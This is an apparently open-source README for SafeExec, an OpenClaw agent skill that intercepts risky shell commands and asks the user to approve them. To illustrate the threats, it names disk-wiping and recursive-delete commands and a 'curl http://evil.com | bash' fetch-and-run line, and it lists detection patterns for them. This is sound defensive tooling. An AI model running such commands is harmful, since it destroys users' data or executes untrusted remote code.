# SafeExec - AI Agent Security Layer > ๐Ÿ›ก๏ธ The last line of defense for AI Agents - Intercept dangerous commands and protect your system [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) [![OpenClaw](https://img.shields.io/badge/OpenClaw-Skill-blue)](https://openclaw.ai) [![Security](https://img.shields.io/badge/Security-Critical-red)]() --- ## โœจ Why SafeExec? AI Agents are powerful assistants, but they can also cause serious damage: - ๐Ÿ’ฅ **Data Deletion** - A simple "clean temp files" might become `rm -rf /` - ๐Ÿ”ฅ **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda` - ๐Ÿšช **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash` **SafeExec was built to solve exactly these problems.** --- ## ๐ŸŽฏ Core Features ### 1๏ธโƒฃ Intelligent Risk Assessment Automatically detects 10+ categories of dangerous operations: | Risk Level | Detection Pattern | Description | |------------|------------------|-------------| | ๐Ÿ”ด **CRITICAL** | `rm -rf /` | Delete system files | | ๐Ÿ”ด **CRITICAL** | `dd if=` | Disk destruction | | ๐Ÿ”ด **CRITICAL** | `mkfs.*` | Format filesystem | | ๐Ÿ”ด **CRITICAL** | Fork bomb | System DoS | | ๐ŸŸ  **HIGH** | `chmod 777` | Privilege escalation | | ๐ŸŸ  **HIGH** | `curl | bash` | Code injection | | ๐ŸŸ  **HIGH** | Write to `/etc/` | System config tampering | | ๐ŸŸก **MEDIUM** | `sudo` | Privileged operations | | ๐ŸŸก **MEDIUM** | Firewall modification | Network exposure | ### 2๏ธโƒฃ Command Interception & Approval ``` User Request โ†’ AI Agent โ†’ safe-exec execution โ†“ Risk Assessment / \ Safe Dangerous | | Execute Intercept + Notify โ†“ Wait for User Approval โ†“ [Approve] โ†’ Execute / [Reject] โ†’ Cancel ``` ### 3๏ธโƒฃ Complete Audit Trail All operations are logged to `~/.openclaw/safe-exec-audit.log`: ```json { "timestamp": "2026-01-31T16:44:17.217Z", "event": "approval_requested", "requestId": "req_1769877857_2352", "command": "rm -rf /tmp/test\n", "risk": "critical", "reason": "Delete files from root or home directory" } ``` --- ## โšก Quick Start (5 Minutes) ### Step 1: Install SafeExec ```bash # Clone to OpenClaw skills directory git clone https://github.com/OTTTTTO/safe-exec.git ~/.openclaw/skills/safe-exec # Add execute permissions chmod +x ~/.openclaw/skills/safe-exec/*.sh # Create global commands ln -sf ~/.openclaw/skills/safe-exec/safe-exec.sh ~/.local/bin/safe-exec ``` ### Step 2: Test SafeExec ```bash # Test safe command (executes directly) safe-exec "echo 'Hello SafeExec!'" # Output: Hello SafeExec! # Test dangerous command (gets intercepted) safe-exec "rm -rf /tmp/test" # Output: ๐Ÿšจ Dangerous operation detected - Command intercepted ``` ### Step 3: Use in OpenClaw Tell OpenClaw in chat: ``` Enable SafeExec ``` Then try a dangerous command: ``` Delete /tmp/test folder ``` OpenClaw will automatically intercept and ask for your approval! ### Step 4: Approve or Reject ``` approve req_xxxxx # Execute command reject req_xxxxx # Cancel command ``` That's it! ๐ŸŽ‰ --- ## ๐Ÿš€ Usage ### Basic Usage ```bash # Execute command (safe commands run directly) safe-exec "ls -la" # Dangerous commands get intercepted safe-exec "rm -rf /tmp/test" # List pending requests safe-exec --list # Approve request safe-exec-approve req_xxxxx # Reject request safe-exec-reject req_xxxxx # Check status safe-exec --status # Temporarily disable (only for trusted environments) safe-exec --disable # Re-enable safe-exec --enable ``` ### Quick Command Tips ```bash # Quick approve latest request safe-exec-approve $(ls -t ~/.openclaw/safe-exec/pending/ | head -1 | sed 's/.json//') # View all pending requests safe-exec --list | grep "req_" # View recent audit log tail -20 ~/.openclaw/safe-exec-audit.log | jq . # Count interceptions grep "approval_requested" ~/.openclaw/safe-exec-audit.log | wc -l ``` --- ## ๐Ÿ“ฑ OpenClaw Usage Example ### Scenario: Clean temp files in OpenClaw Chat ``` โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” ๐Ÿ‘ค User: Enable SafeExec ๐Ÿค– OpenClaw Agent: โœ… SafeExec enabled! All dangerous commands will now be intercepted and require your approval. Protected commands: โ€ข rm -rf / (delete system files) โ€ข dd if= (disk destruction) โ€ข chmod 777 (privilege escalation) โ€ข curl | bash (code injection) โ€ข ... and more Status: ๐Ÿ›ก๏ธ Running โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” ๐Ÿ‘ค User: Help me force delete all contents of /tmp/test folder ๐Ÿค– OpenClaw Agent: ๐Ÿšจ **Dangerous Operation Detected - Command Intercepted** **Risk Level:** ๐Ÿ”ด CRITICAL **Command:** `rm -rf /tmp/test` **Reason:** Delete files from root or home directory **Matched Rule:** `rm -rf? [\/~]` **Request ID:** `req_1769877857_2352` โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” โš ๏ธ This command requires user approval โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” ๐Ÿ“‹ **Operation to be executed:** โ€ข Delete directory: /tmp/test โ€ข Delete mode: Recursive force delete โ€ข Impact: All files and subdirectories under that directory โฐ Request expires in 5 minutes โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” ๐Ÿ’ก **Approval Methods:** 1. Reply directly: `approve req_1769877857_2352` 2. Or reply: `safe-exec-approve req_1769877857_2352` ๐Ÿšซ **Rejection Methods:** 1. Reply directly: `reject req_1769877857_2352` 2. Or reply: `safe-exec-reject req_1769877857_2352` โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” ๐Ÿ‘ค User: approve req_1769877857_2352 ๐Ÿค– OpenClaw Agent: โœ… **Request Approved - Executing Command** **Command:** `rm -rf /tmp/test` **Status:** Executed successfully **Deleted:** 15 files, 3 directories โœจ Operation complete! SafeExec continues protection. โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” ๐Ÿ‘ค User: Disable SafeExec ๐Ÿค– OpenClaw Agent: โš ๏ธ **SafeExec Disabled** โš ๏ธ All commands will execute directly, without protection! Only disable in: โœ“ Trusted environments โœ“ Batch execution of known safe commands โœ“ Testing and debugging Restore protection: Enable SafeExec โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” ``` --- ## ๐Ÿ”— OpenClaw Agent Integration ### Auto-Interception Mode **Enable SafeExec in OpenClaw config:** Edit OpenClaw config file (usually `~/.openclaw/config.json`): ```json { "tools": { "exec": { "security": "allowlist", "allowlist": [ "safe-exec*", "ls", "cat", "echo" ] } } } ``` ### AI Assistant Best Practices #### Method 1: Wrap All Dangerous Commands Tell the AI assistant to use safe-exec for all potentially dangerous commands: ``` You: From now on, execute all delete, system file modification, or sudo commands through safe-exec ๐Ÿค–: Understood! I will route the following command types through safe-exec: โ€ข rm, mv, cp (involving system directories) โ€ข chmod, chown โ€ข All sudo commands โ€ข curl/wget pipe operations ``` #### Method 2: Auto-Detection Mode Use OpenClaw's HEARTBEAT feature to check for pending approval requests: Add to `HEARTBEAT.md`: ````markdown # Heartbeat Check Run on every heartbeat: \`\`\`bash safe-exec --check-pending 2>/dev/null || echo "โœ… No pending approval requests" \`\`\` If there are pending requests, notify the user. ```` --- ## โš™๏ธ Configuration ### Custom Rules Edit `~/.openclaw/safe-exec-rules.json`: ```json { "rules": [ { "pattern": "YOUR_REGEX_PATTERN", "risk": "high", "description": "Your custom rule description" } ] } ``` ### Environment Variables ```bash # Audit log path export SAFE_EXEC_AUDIT_LOG="$HOME/.openclaw/safe-exec-audit.log" # Request timeout (seconds) export SAFE_EXEC_TIMEOUT=300 ``` --- ## ๐Ÿ“Š How It Works ``` โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”‚ User / AI Agent โ”‚ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ”‚ โ–ผ โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”‚ safe-exec โ”‚ โ”‚ (entry point) โ”‚ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ”‚ โ–ผ โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”‚ Risk Assessment โ”‚ โ”‚ โ”‚ โ”‚ โ€ข Pattern match โ”‚ โ”‚ โ€ข Risk grading โ”‚ โ”‚ โ€ข Rule engine โ”‚ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ”‚ โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”‚ โ”‚ [Safe] [Dangerous] โ”‚ โ”‚ โ–ผ โ–ผ Execute Intercept + Notify โ”‚ โ”‚ โ”‚ โ”Œโ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ” โ”‚ โ”‚ โ”‚ โ”‚ Wait Audit Log โ”‚ โ”‚ โ”‚ โ”Œโ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ” โ”‚ โ”‚ โ”‚ โ”‚ [Approve] [Reject] โ”‚ โ”‚ โ”‚ โ”‚ โ–ผ โ–ผ โ”‚ Execute Cancel โ”‚ โ”‚ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ”‚ โ–ผ โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”‚ Audit Log โ”‚ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ ``` --- ## ๐Ÿ”’ Security Features - โœ… **Zero Trust** - All commands require approval by default - โœ… **Complete Audit** - Log all security events - โœ… **Immutable Logs** - Audit logs use append-only mode - โœ… **Minimal Privilege** - No additional system permissions required - โœ… **Transparency** - Users always know what's being executed - โœ… **Configurable** - Flexible rule system --- ## ๐Ÿงช Testing ```bash # Run test suite bash ~/.openclaw/skills/safe-exec/test.sh # Manual testing safe-exec "echo 'Safe command test'" safe-exec "rm -rf /tmp/test-dangerous" ``` --- ## ๐Ÿ“ˆ Roadmap ### v0.2.0 (In Progress) - [ ] Support more notification channels (Telegram, Discord) - [ ] Web UI approval interface - [ ] Smarter risk assessment (machine learning) - [ ] Batch operation support ### v0.3.0 (Planned) - [ ] Multi-user support - [ ] RBAC permission control - [ ] Audit log encryption - [ ] SIEM integration ### v1.0.0 (Future) - [ ] Enterprise features - [ ] SaaS deployment support - [ ] Complete API --- ## ๐Ÿ’ก Best Practices ### Development Environment Setup ```bash # Add to ~/.bashrc or ~/.zshrc export SAFE_EXEC_TIMEOUT=300 # 5 minute timeout export SAFE_EXEC_AUDIT_LOG="$HOME/.openclaw/safe-exec-audit.log" # Aliases - quick commands alias se='safe-exec' alias sea='safe-exec-approve' alias ser='safe-exec-reject' alias sel='safe-exec-list' ``` ### Team Collaboration **Shared Rule Set:** ```bash # 1. Create team rules file cat > team-rules.json << EOF { "enabled": true, "rules": [ {"pattern": "\\brm\\s+-rf", "risk": "critical", "description": "Team rule: No recursive deletion"}, {"pattern": "production.*restart", "risk": "critical", "description": "Team rule: Production restart"} ] } EOF # 2. Commit to version control git add team-rules.json git commit -m "Add team SafeExec rules" # 3. Team members pull and import git pull safe-exec-add-rule --import team-rules.json ``` --- ## โ“ FAQ ### Q1: Will SafeExec affect command execution performance? **A:** No. For safe commands, SafeExec only performs fast pattern matching (< 1ms). Only dangerous commands trigger the approval flow. ### Q2: Can I temporarily disable SafeExec? **A:** Yes! Use: ```bash # Temporarily disable (current session) safe-exec --disable # Re-enable after executing dangerous commands safe-exec --enable ``` โš ๏ธ **Note:** Only disable in trusted environments! ### Q3: How do I view my command history? **A:** Check the audit log: ```bash # Real-time view tail -f ~/.openclaw/safe-exec-audit.log # Formatted display jq '.' ~/.openclaw/safe-exec-audit.log | less # View last 10 interceptions grep "approval_requested" ~/.openclaw/safe-exec-audit.log | tail -10 ``` ### Q4: Can SafeExec prevent all dangerous operations? **A:** SafeExec can prevent most common dangerous operations, but not 100%: โœ… **Can prevent:** - Deleting system files (rm -rf /) - Disk destruction (dd, mkfs) - Privilege escalation (chmod 777, sudo) - Code injection (curl | bash) โŒ **Cannot prevent:** - Already compromised systems - Direct hardware operations - Social engineering attacks --- ## ๐Ÿค Contributing Contributions welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for details. ```bash # Fork repository git clone https://github.com/OTTTTTO/safe-exec.git # Create feature branch git checkout -b feature/amazing-feature # Commit changes git commit -m "Add amazing feature" # Push to branch git push origin feature/amazing-feature # Open Pull Request ``` --- ## ๐Ÿ“ License MIT License - see [LICENSE](LICENSE) file for details --- ## ๐Ÿ™ Acknowledgments - [OpenClaw](https://openclaw.ai) - Powerful AI Agent framework - [Sudo](https://www.sudo.ws/) - Inspired approval mechanism design - All contributors and users --- ## ๐Ÿ“ฎ Contact - **GitHub Issues**: [Submit issues](https://github.com/OTTTTTO/safe-exec/issues) - **Email**: 731554297@qq.com - **Discord**: [OpenClaw Community](https://discord.gg/clawd) --- ## ๐ŸŒŸ Star History If this project helps you, please give it a Star โญ --- **Made with โค๏ธ by the OpenClaw community** > "AI is a powerful assistant, but security is always the top priority." --- ## ๐ŸŒ Languages - [ไธญๆ–‡](README.md) | [English](README_EN.md)